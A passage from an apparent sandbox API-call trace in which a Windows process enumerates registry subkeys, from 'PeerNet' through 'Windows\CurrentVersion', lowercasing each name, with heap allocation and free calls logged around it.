dwIndex=0x1f, lpName=0x433058, cchName=0x104 | out: lpName="PeerNet") returned 0x0 [0261.289] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x80) returned 0x1efe840 [0261.289] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="peernet", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0261.289] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x40) returned 0x439180 [0261.289] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="peernet", cchWideChar=7, lpMultiByteStr=0x439180, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="peernet", lpUsedDefaultChar=0x0) returned 7 [0261.289] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x40) returned 0x439258 [0261.289] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x439180) returned 1 [0261.289] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x439258) returned 1 [0261.289] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efe840) returned 1 [0261.289] RegEnumKeyW (in: hKey=0x130, dwIndex=0x20, lpName=0x433058, cchName=0x104 | out: lpName="Protected Storage System Provider") returned 0x0 [0261.289] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x80) returned 0x1efe840 [0261.289] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="protected storage system provider", cchWideChar=33, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 33 [0261.289] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x40) returned 0x439258 [0261.289] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="protected storage system provider", cchWideChar=33, lpMultiByteStr=0x439258, cbMultiByte=33, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="protected storage system provider", lpUsedDefaultChar=0x0) returned 33 [0261.289] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x40) returned 0x439180 [0261.289] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x439258) returned 1 [0261.289] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x439180) returned 1 [0261.289] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efe840) returned 1 [0261.289] RegEnumKeyW (in: hKey=0x130, dwIndex=0x21, lpName=0x433058, cchName=0x104 | out: lpName="RAS AutoDial") returned 0x0 [0261.290] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x80) returned 0x1efe840 [0261.290] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ras autodial", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0261.290] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x40) returned 0x439180 [0261.290] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ras autodial", cchWideChar=12, lpMultiByteStr=0x439180, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ras autodial", lpUsedDefaultChar=0x0) returned 12 [0261.290] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x40) returned 0x439258 [0261.290] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x439180) returned 1 [0261.290] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x439258) returned 1 [0261.290] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efe840) returned 1 [0261.290] RegEnumKeyW (in: hKey=0x130, dwIndex=0x22, lpName=0x433058, cchName=0x104 | out: lpName="RAS Phonebook") returned 0x0 [0261.290] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x80) returned 0x1efe840 [0261.290] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ras phonebook", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0261.290] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x40) returned 0x439258 [0261.290] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ras phonebook", cchWideChar=13, lpMultiByteStr=0x439258, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ras phonebook", lpUsedDefaultChar=0x0) returned 13 [0261.290] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x40) returned 0x439180 [0261.290] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x439258) returned 1 [0261.290] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x439180) returned 1 [0261.290] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efe840) returned 1 [0261.290] RegEnumKeyW (in: hKey=0x130, dwIndex=0x23, lpName=0x433058, cchName=0x104 | out: lpName="Remote Assistance") returned 0x0 [0261.290] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x80) returned 0x1efe840 [0261.290] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="remote assistance", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0261.290] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x40) returned 0x439180 [0261.290] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="remote assistance", cchWideChar=17, lpMultiByteStr=0x439180, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="remote assistance", lpUsedDefaultChar=0x0) returned 17 [0261.290] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x40) returned 0x439258 [0261.290] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x439180) returned 1 [0261.290] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x439258) returned 1 [0261.290] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efe840) returned 1 [0261.290] RegEnumKeyW (in: hKey=0x130, dwIndex=0x24, lpName=0x433058, cchName=0x104 | out: lpName="Shared") returned 0x0 [0261.291] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x80) returned 0x1efe840 [0261.291] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="shared", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0261.291] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x40) returned 0x439258 [0261.291] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="shared", cchWideChar=6, lpMultiByteStr=0x439258, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="shared", lpUsedDefaultChar=0x0) returned 6 [0261.291] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x40) returned 0x439180 [0261.291] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x439258) returned 1 [0261.291] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x439180) returned 1 [0261.291] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efe840) returned 1 [0261.291] RegEnumKeyW (in: hKey=0x130, dwIndex=0x25, lpName=0x433058, cchName=0x104 | out: lpName="Shared Tools") returned 0x0 [0261.291] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x80) returned 0x1efe840 [0261.291] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="shared tools", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0261.291] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x40) returned 0x439180 [0261.291] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="shared tools", cchWideChar=12, lpMultiByteStr=0x439180, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="shared tools", lpUsedDefaultChar=0x0) returned 12 [0261.291] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x40) returned 0x439258 [0261.291] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x439180) returned 1 [0261.291] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x439258) returned 1 [0261.291] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efe840) returned 1 [0261.291] RegEnumKeyW (in: hKey=0x130, dwIndex=0x26, lpName=0x433058, cchName=0x104 | out: lpName="SideShow") returned 0x0 [0261.291] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x80) returned 0x1efe840 [0261.291] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sideshow", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0261.291] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x40) returned 0x439258 [0261.291] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sideshow", cchWideChar=8, lpMultiByteStr=0x439258, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sideshow", lpUsedDefaultChar=0x0) returned 8 [0261.291] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x40) returned 0x439180 [0261.291] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x439258) returned 1 [0261.291] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x439180) returned 1 [0261.292] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efe840) returned 1 [0261.292] RegEnumKeyW (in: hKey=0x130, dwIndex=0x27, lpName=0x433058, cchName=0x104 | out: lpName="Speech") returned 0x0 [0261.292] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x80) returned 0x1efe840 [0261.292] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="speech", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0261.292] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x40) returned 0x439180 [0261.292] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="speech", cchWideChar=6, lpMultiByteStr=0x439180, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="speech", lpUsedDefaultChar=0x0) returned 6 [0261.292] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x40) returned 0x439258 [0261.292] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x439180) returned 1 [0261.292] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x439258) returned 1 [0261.292] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efe840) returned 1 [0261.292] RegEnumKeyW (in: hKey=0x130, dwIndex=0x28, lpName=0x433058, cchName=0x104 | out: lpName="SQMClient") returned 0x0 [0261.292] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x80) returned 0x1efe840 [0261.292] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sqmclient", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0261.292] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x40) returned 0x439258 [0261.292] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sqmclient", cchWideChar=9, lpMultiByteStr=0x439258, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sqmclient", lpUsedDefaultChar=0x0) returned 9 [0261.292] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x40) returned 0x439180 [0261.292] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x439258) returned 1 [0261.292] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x439180) returned 1 [0261.292] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efe840) returned 1 [0261.292] RegEnumKeyW (in: hKey=0x130, dwIndex=0x29, lpName=0x433058, cchName=0x104 | out: lpName="SystemCertificates") returned 0x0 [0261.292] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x80) returned 0x1efe840 [0261.292] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="systemcertificates", cchWideChar=18, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 18 [0261.292] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x40) returned 0x439180 [0261.292] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="systemcertificates", cchWideChar=18, lpMultiByteStr=0x439180, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="systemcertificates", lpUsedDefaultChar=0x0) returned 18 [0261.292] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x40) returned 0x439258 [0261.292] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x439180) returned 1 [0261.292] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x439258) returned 1 [0261.292] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efe840) returned 1 [0261.292] RegEnumKeyW (in: hKey=0x130, dwIndex=0x2a, lpName=0x433058, cchName=0x104 | out: lpName="VBA") returned 0x0 [0261.292] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x80) returned 0x1efe840 [0261.292] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="vba", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0261.292] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x40) returned 0x439258 [0261.292] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="vba", cchWideChar=3, lpMultiByteStr=0x439258, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="vba", lpUsedDefaultChar=0x0) returned 3 [0261.293] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x40) returned 0x439180 [0261.293] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x439258) returned 1 [0261.293] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x439180) returned 1 [0261.293] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efe840) returned 1 [0261.293] RegEnumKeyW (in: hKey=0x130, dwIndex=0x2b, lpName=0x433058, cchName=0x104 | out: lpName="VisualStudio") returned 0x0 [0261.293] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x80) returned 0x1efe840 [0261.293] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="visualstudio", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0261.293] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x40) returned 0x439180 [0261.293] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="visualstudio", cchWideChar=12, lpMultiByteStr=0x439180, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="visualstudio", lpUsedDefaultChar=0x0) returned 12 [0261.293] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x40) returned 0x439258 [0261.293] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x439180) returned 1 [0261.293] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x439258) returned 1 [0261.293] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efe840) returned 1 [0261.293] RegEnumKeyW (in: hKey=0x130, dwIndex=0x2c, lpName=0x433058, cchName=0x104 | out: lpName="WAB") returned 0x0 [0261.293] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x80) returned 0x1efe840 [0261.293] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wab", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0261.293] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x40) returned 0x439258 [0261.293] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wab", cchWideChar=3, lpMultiByteStr=0x439258, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wab", lpUsedDefaultChar=0x0) returned 3 [0261.293] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x40) returned 0x439180 [0261.293] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x439258) returned 1 [0261.293] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x439180) returned 1 [0261.293] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efe840) returned 1 [0261.293] RegEnumKeyW (in: hKey=0x130, dwIndex=0x2d, lpName=0x433058, cchName=0x104 | out: lpName="Web Service Providers") returned 0x0 [0261.293] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x80) returned 0x1efe840 [0261.293] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="web service providers", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0261.293] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x40) returned 0x439180 [0261.293] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="web service providers", cchWideChar=21, lpMultiByteStr=0x439180, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="web service providers", lpUsedDefaultChar=0x0) returned 21 [0261.293] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x40) returned 0x439258 [0261.293] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x439180) returned 1 [0261.293] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x439258) returned 1 [0261.293] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efe840) returned 1 [0261.293] RegEnumKeyW (in: hKey=0x130, dwIndex=0x2e, lpName=0x433058, cchName=0x104 | out: lpName="wfs") returned 0x0 [0261.293] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x80) returned 0x1efe840 [0261.294] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wfs", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0261.294] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x40) returned 0x439258 [0261.294] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wfs", cchWideChar=3, lpMultiByteStr=0x439258, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wfs", lpUsedDefaultChar=0x0) returned 3 [0261.294] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x40) returned 0x439180 [0261.294] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x439258) returned 1 [0261.294] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x439180) returned 1 [0261.294] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efe840) returned 1 [0261.294] RegEnumKeyW (in: hKey=0x130, dwIndex=0x2f, lpName=0x433058, cchName=0x104 | out: lpName="Windows") returned 0x0 [0261.294] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x80) returned 0x1efe840 [0261.294] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="windows", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0261.294] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x40) returned 0x439180 [0261.294] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="windows", cchWideChar=7, lpMultiByteStr=0x439180, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="windows", lpUsedDefaultChar=0x0) returned 7 [0261.294] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x40) returned 0x439258 [0261.294] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x439180) returned 1 [0261.294] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x439258) returned 1 [0261.294] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efe840) returned 1 [0261.294] RegOpenKeyExW (in: hKey=0x130, lpSubKey="Windows", ulOptions=0x0, samDesired=0x20109, phkResult=0x18f8cc | out: phkResult=0x18f8cc*=0x134) returned 0x0 [0261.294] RegCloseKey (hKey=0x130) returned 0x0 [0261.294] RegEnumKeyW (in: hKey=0x134, dwIndex=0x0, lpName=0x433058, cchName=0x104 | out: lpName="CurrentVersion") returned 0x0 [0261.294] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x80) returned 0x1efe840 [0261.294] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="currentversion", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0261.294] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x40) returned 0x439258 [0261.294] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="currentversion", cchWideChar=14, lpMultiByteStr=0x439258, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="currentversion", lpUsedDefaultChar=0x0) returned 14 [0261.294] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x40) returned 0x439180 [0261.294] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x439258) returned 1 [0261.294] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x439180) returned 1 [0261.294] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efe840) returned 1 [0261.294] RegOpenKeyExW (in: hKey=0x134, lpSubKey="CurrentVersion", ulOptions=0x0, samDesired=0x20109, phkResult=0x18f8cc | out: phkResult=0x18f8cc*=0x130) returned 0x0 [0261.294] RegCloseKey (hKey=0x134) returned 0x0 [0261.295] RegEnumKeyW (in: hKey=0x130, dwIndex=0x0, lpName=0x433058, cchName=0x104 | out: lpName="Action Center") returned 0x0 [0261.295] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x80) returned 0x1efe840 [0261.295] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="action center", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0261.295] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x40) returned 0x439180 [0261.295] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="action center", cchWideChar=13, lpMultiByteStr=0x439180, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="action center", lpUsedDefaultChar=0x0) returned 13 [0261.295] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x40) returned 0x439258 [0261.295] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x439180) returned 1 [0261.295] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x439258) returned 1 [0261.295] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efe840) returned 1 [0261.295] RegEnumKeyW (in: hKey=0x130, dwIndex=0x1, lpName=0x433058, cchName=0x104 | out: lpName="Applets") returned 0x0 [0261.295] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x80) returned 0x1efe840 [0261.295] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="applets", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0261.295] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x40) returned 0x439258 [0261.295] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="applets", cchWideChar=7, lpMultiByteStr=0x439258, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="applets", lpUsedDefaultChar=0x0) returned 7 [0261.295] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x40) returned 0x439180 [0261.295] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x439258) returned 1 [0261.295] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x439180) returned 1 [0261.295] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efe840) returned 1 [0261.295] RegEnumKeyW (in: hKey=0x130, dwIndex=0x2, lpName=0x433058, cchName=0x104 | out: lpName="Controls Folder (Wow64)") returned 0x0 [0261.295] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x80) returned 0x1efe840 [0261.295] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controls folder (wow64)", cchWideChar=23, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 23 [0261.295] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x40) returned 0x439180 [0261.295] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controls folder (wow64)", cchWideChar=23, lpMultiByteStr=0x439180, cbMultiByte=23, 